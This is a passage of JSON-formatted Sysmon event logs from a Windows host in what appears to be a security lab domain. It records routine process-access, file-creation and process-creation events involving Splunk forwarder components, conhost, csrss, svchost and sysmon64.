AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:39.869\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4357-5F2D-0000-00106A911100}\r\nTargetProcessId: 4676\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:39.869","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4357-5F2D-0000-00106A911100}","TargetProcessId":"4676","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8437,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.104\r\nSourceProcessGUID: {90617006-4357-5F2D-0000-00106A911100}\r\nSourceProcessId: 4676\r\nSourceThreadId: 3544\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.104","SourceProcessGUID":"{90617006-4357-5F2D-0000-00106A911100}","SourceProcessId":"4676","SourceThreadId":"3544","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8438,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:40.291\r\nProcessGuid: {90617006-4356-5F2D-0000-00102C8B1100}\r\nProcessId: 4220\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\107c-0\\WindowsBase.dll\r\nCreationUtcTime: 2020-08-07 12:04:40.291","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:40.291","ProcessGuid":"{90617006-4356-5F2D-0000-00102C8B1100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\107c-0\\WindowsBase.dll","CreationUtcTime":"2020-08-07 12:04:40.291","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":8439,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.371\r\nProcessGuid: {90617006-4358-5F2D-0000-00107A931100}\r\nProcessId: 3204\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Registry monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-regmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.371","ProcessGuid":"{90617006-4358-5F2D-0000-00107A931100}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","FileVersion":"8.0.2","Description":"Registry monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-regmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8440,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.369\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4358-5F2D-0000-00107A931100}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.369","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4358-5F2D-0000-00107A931100}","TargetProcessId":"3204","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8441,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.369\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4358-5F2D-0000-00107A931100}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.369","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4358-5F2D-0000-00107A931100}","TargetProcessId":"3204","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8442,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8443,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8444,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8445,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 